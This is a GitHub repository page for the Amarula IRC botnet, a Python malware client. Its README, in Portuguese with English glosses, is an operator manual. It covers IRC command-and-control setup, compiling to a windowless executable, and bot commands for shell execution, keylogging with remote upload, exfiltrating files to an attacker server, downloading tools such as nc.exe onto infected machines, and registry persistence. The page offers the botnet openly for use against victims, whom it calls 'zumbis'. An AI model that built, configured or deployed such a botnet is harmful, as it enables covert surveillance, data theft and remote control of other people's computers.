Skip to content

hybridious/Amarula-Python-Botnet

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

74 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Amarula IRC Botnet v1.0

Abacatch Version

Botnet client feito em Python 2.7 (written in Python 2.7)
Testado em: Windows XP, 8, 10, (tested on)
Escrito por: Carlos Néri Correia (coded by)
Versão: 1.0 (version)

Como funciona? (how it works)

O Amarula IRC Botnet é um botnet client codado em Python 2.7. O malware nada mais é do que um cliente IRC, especialmente construído, que se conecta a um server IRC e entra em um canal como se fosse um usuario comum. O Administrador, por sua vez, também estará conectado ao canal, mas através de um programa de cliente IRC normal (como o Hexchat), de forma que, toda vez que o Adm envia uma mensagem para o canal, o BOT interpreta essa mensagem como um comando a ser executado no sistema. São diversas as vantagens de administrar os BOTs através do IRC - Os servers são ativos 24h, não é necessário abrir portas no PC, o IRC é um protocolo teoricamente confiável, entre outras.

Funções (features)

  • Executar comandos shell (shell command execution)
  • Keylogger - Captura de teclas digitadas pelo cliente em tempo real (real-time keylogging)
  • Listar diretório atual do bot (list current working directory)
  • Listar todos os arquivos de um diretorio (list all directory files)
  • Obter ip local e externo do bot (get local and WAN bot IP)
  • Download de arquivos da web via HTTP (HTTP web downloading)
  • Upload de arquivos para servidor web via HTTP (upload bot files to web server)
  • Envio de logs para servidor remoto (send logs to remote server)
  • Deletar arquivos no BOT (delete files)
  • Executar arquivos no BOT (run files)
  • Persistência (persistence)

Instalação (install)

Faça o download do ZIP ou clone o repositório:

$ git clone https://github.com/hackerama/Amarula-Python-Botnet.git

Algumas bibliotecas do python são requeridas:

$ pip install requests
$ pip install pypiwin32

A biblioteca pyHook, também é exigida. abaixo o link para baixar o executável de instalação.

Download pyHook https://sourceforge.net/projects/pyhook/

Configuração (setup)

Algumas variáveis precisarão ser definidas ou alteradas, para que a conexão do BOT com o IRC seja feita corretamente.
Toda a administração dos BOTs será feita através de um cliente IRC. O Administrador enviará comandos para o canal onde os BOTs estarão conectados e intrepretarão as mensagens enviadas como comandos.

VARIÁVEIS: (variables)
Screenshot

ircServer (sets IRC server address)
Endereço do servidor IRC ao qual o BOT irá se conectar.

ircPwdCha (sets IRC channel password)
Define o password do canal IRC ao qual o bot irá se conectar.
Caso o canal não possua password, deixar em branco ("")
Importante setar um password no canal para que outras pessoas não entrem e possam controlar os seus bots.

ircChanne (sets IRC channel)
Canal do IRC ao qual o bot irá se conectar.
É interpretando as mensagens enviadas para o canal que o BOT irá executar os comandos internamente no cliente.

botPass (sets password to activate and connect to the BOTS)
Define um passoword para ativar, conectar e controlar os bots no canal

botAdmi (Admin Name - NOT OBLIGATORY)
Define um nome pelo qual os zumbis te chamarão
Não é obrigatório.

urlUpload (Upload page on remote server)
Página de upload no servidor remoto, para a função de envio remoto.
Será criado um arquivo capt-(nome do PC).txt na mesma pasta de upload.php, no servidor.

ldir (sets local directory, dropping directory)
Diretório local, onde será salvo o arquivo de log.
Diretório para o qual o .exe se copia para ser executado em persistência quando a máquina reiniciar.

Compilar (compile)

$ pyinstaller -w amarula.py --onefile

Controlando os bots (usage)

Screenshot

  • [login] para se conectar aos BOTS no canal
    A senha padrão é "raise".

      $ USAGE: login <senha> br>
      $ Ex: login raise
    
  • [help] para listar os comandos disponíveis

      $ USAGE: help <nickdobot> <br>
      $ Ex: help DESKTOP-PC-3456
    
  • [dir] para vizualizar o diretorio atual do zumbi

      $ USAGE: ls <nickdobot> <br>
      $ Ex: ls DESKTOP-PC-3456
    
  • [ls] para listar o conteudo da pasta atual

      $ USAGE: ls <nickdobot> <br>
      $ Ex: ls DESKTOP-PC-3456
    
  • [ip] para mostrar os ips do bot

      $ USAGE: ls <nickdobot> 
      $ Ex: ip DESKTOP-PC-3456
    
  • [upload] para fazer upload de arquivos do bot Será feito o upload para o servidor web definido na variável urlUpload

      $ USAGE: $ USAGE: upload <Arquivo> <nickdobot>
      $ Ex: upload leak.txt DESKTOP-PC-3456
    
  • [download] para baixar arquivos da web para o zumbi

      $ USAGE: $ USAGE: download <link> <nickdobot>
      $ Ex: download http://seusite.com/nc.exe DESKTOP-PC-3456
    
  • [run] para executar um programa ou arquivo

      $ USAGE:  run <programa> <nickdobot>
      $ Ex: run calc.exe DESKTOP-PC-3456
    
  • [delete] para excluir arquivos

      $ USAGE: delete <arquivo> <nickdobot>
      $ Ex: delete leak.txt DESKTOP-PC-3456
    
  • [start keylog] para ativar o keylogger O arquivo de log será upado para o servidor web a cada 100 caracteres digitados.
    Será iniciado um novo processo no sistema do BOT para o keylogger.

      $ USAGE: keylog start <nickdobot>
      $ Ex: keylog start DESKTOP-PC-3456
    
  • [stop keylog] para desativar o keylogger

      $ USAGE: keylog stop <nickdobot>
      $ Ex: keylog stop DESKTOP-PC-3456
    
  • [persistence] para instalar persistencia no registro do Windows Instala a persistencia, iniciando o bot toda vez que o PC do cliente iniciar

      $ USAGE: persistence <nickdobot>
      $ Ex: persistence DESKTOP-PC-3456
    
  • [shell] para executar comandos no terminal.

      $ USAGE: shell <comando> <nickdobot>
      $ Ex: shell echo HACKED hack.txt && DIR hack.txt DESKTOP-PC-3456
    
  • [sair] para que os bots ativos saiam do canal

      $ USAGE: sair		
    
  • [sair] matar todos os BOTs ativos
    Todos os zumbis ativos desconectam-se do IRC

      $ USAGE: matar		
    

Demonstração (demo)

https://youtu.be/yYqAwiaAgrA

About

Amarula Python Botnet

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published